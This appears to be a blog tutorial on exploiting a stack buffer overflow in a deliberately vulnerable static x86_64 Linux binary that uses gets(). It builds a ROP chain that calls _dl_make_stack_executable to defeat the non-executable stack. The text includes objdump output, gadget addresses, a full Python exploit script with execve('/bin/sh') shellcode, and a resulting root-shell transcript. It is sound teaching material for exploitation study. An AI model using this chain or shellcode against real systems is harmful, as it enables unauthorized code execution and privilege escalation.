Tools:
- objdump
Binary protection:
- Read Only relocations
- No exec stack
- No exec heap
- ASLR
Compilation: Static
Architecture: x86_64
Operating System: Linux (Debian)
1. Vulnerable binary
For this exemple, I will take the same program as my last post.
#include <stdio.h>
// gcc main.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static
int main()
{
char buf[64];
gets(buf); // Never use this function !
printf("%s", buf);
return 0;
}
I will show you today an other method to exploit a buffer overflow thanks to a ROP. I find this method funny because despite the “no exec stack” protection, it permit to make the stack executable and so, execute a shellcode on it.
2. To begin
To do this exploit, we will use the “_dl_make_stack_executable” function. The function look like that:
$ objdump -D a.out | grep -A 20 "<_dl_make_stack_executable>"
000000000045fc30 <_dl_make_stack_executable>:
45fc30: 48 8b 35 e9 54 25 00 mov 0x2554e9(%rip),%rsi # 6b5120 <_dl_pagesize>
45fc37: 53 push %rbx
45fc38: 48 89 fb mov %rdi,%rbx
45fc3b: 48 8b 07 mov (%rdi),%rax
45fc3e: 48 89 f7 mov %rsi,%rdi
45fc41: 48 f7 df neg %rdi
45fc44: 48 21 c7 and %rax,%rdi
45fc47: 48 3b 05 da 42 25 00 cmp 0x2542da(%rip),%rax # 6b3f28 <__libc_stack_end>
45fc4e: 75 1f jne 45fc6f <_dl_make_stack_executable+0x3f>
45fc50: 8b 15 2a 43 25 00 mov 0x25432a(%rip),%edx # 6b3f80 <__stack_prot>
45fc56: e8 15 21 fd ff callq 431d70 <__mprotect>
45fc5b: 85 c0 test %eax,%eax
45fc5d: 75 17 jne 45fc76 <_dl_make_stack_executable+0x46>
45fc5f: 48 c7 03 00 00 00 00 movq $0x0,(%rbx)
45fc66: 83 0d a3 54 25 00 01 orl $0x1,0x2554a3(%rip) # 6b5110 <_dl_stack_flags>
45fc6d: 5b pop %rbx
45fc6e: c3 retq
45fc6f: b8 01 00 00 00 mov $0x1,%eax
45fc74: 5b pop %rbx
45fc75: c3 retq
We can see two important things. First, the function take “__libc_stack_end” as single parameter and it encapsulate the mprotect function. (cf man mprotect) The third parameter of the mprotect function determine the memory access. (PROT_NONE | PROT_READ | PROT_WRITE | PROT_EXEC) By default, the value is set to “O” for none access, so our goal will be to set this value to “7”. (7 == rwx) To do this, we need to change the value of “__stack_prot” because it’s the variable used by mprotect as third parameter.
So our payload will look like this: padding + set __stack_prot to 7 + set RDI to __libc_stack_end + execute _dl_make_stack_executable + push shellcode
3. The payload
I will not explain how to find the gadget, take a look at my last post if you don’t now how to do it. First, the __stack_prot address:
$ objdump -D a.out | grep "__stack_prot"
00000000006b3f80 <__stack_prot>:
Great. So our payload begin will be:
payload = 'A'*72 # padding
payload += pack("<Q", 0x00000000004016b7) # pop rsi ; ret
payload += pack("<Q", 0x00000000006b3f80) # @ __stack_prot
payload += pack("<Q", 0x00000000004314ad) # pop rax ; ret
payload += pack("<Q", 0x0000000000000007) # PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE
payload += pack("<Q", 0x000000000045f491) # mov QWORD PTR [rsi], rax ; ret
We also will need the address of the “__libc_stack_end” variable and “_dl_make_stack_executable” function.
$ objdump -D a.out|egrep "__libc_stack_end|_dl_make_stack_executable"
...
000000000045fc30 <_dl_make_stack_executable>:
...
00000000006b3f28 <__libc_stack_end>:
...
And the payload part look like:
payload += pack("<Q", 0x000000000040159b) # pop rdi ; ret
payload += pack("<Q", 0x00000000006b3f28) # @ __libc_stack_end
payload += pack("<Q", 0x000000000045fc30) # @ _dl_make_stack_executable
Well, we only have left to push the shellcode and test it ! The shellcode is a simply execve(“/bin/sh”, …) on 30 bytes. To push the shellcode:
payload += pack("<Q", 0x000000000040fd8c) # push rsp ; ret
payload += shellcode
4. Exploitation
The whole payload look like:
#!/usr/bin/env python2.7
from struct import pack
#
# Shellcode execve("/bin/sh", ["/bin/sh"], NULL) (30 bytes)
#
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload = 'A'*72 # padding
payload += pack("<Q", 0x00000000004016b7) # pop rsi ; ret
payload += pack("<Q", 0x00000000006b3f80) # @ __stack_prot
payload += pack("<Q", 0x00000000004314ad) # pop rax ; ret
payload += pack("<Q", 0x0000000000000007) # PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE
payload += pack("<Q", 0x000000000045f491) # mov QWORD PTR [rsi], rax ; ret
payload += pack("<Q", 0x000000000040159b) # pop rdi ; ret
payload += pack("<Q", 0x00000000006b3f28) # @ __libc_stack_end
payload += pack("<Q", 0x000000000045fc30) # @ _dl_make_stack_executable
payload += pack("<Q", 0x000000000040fd8c) # push rsp ; ret
payload += shellcode
print payload
The result is:
$ (python2.7 rop.py; cat) | ./a.out
id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Done.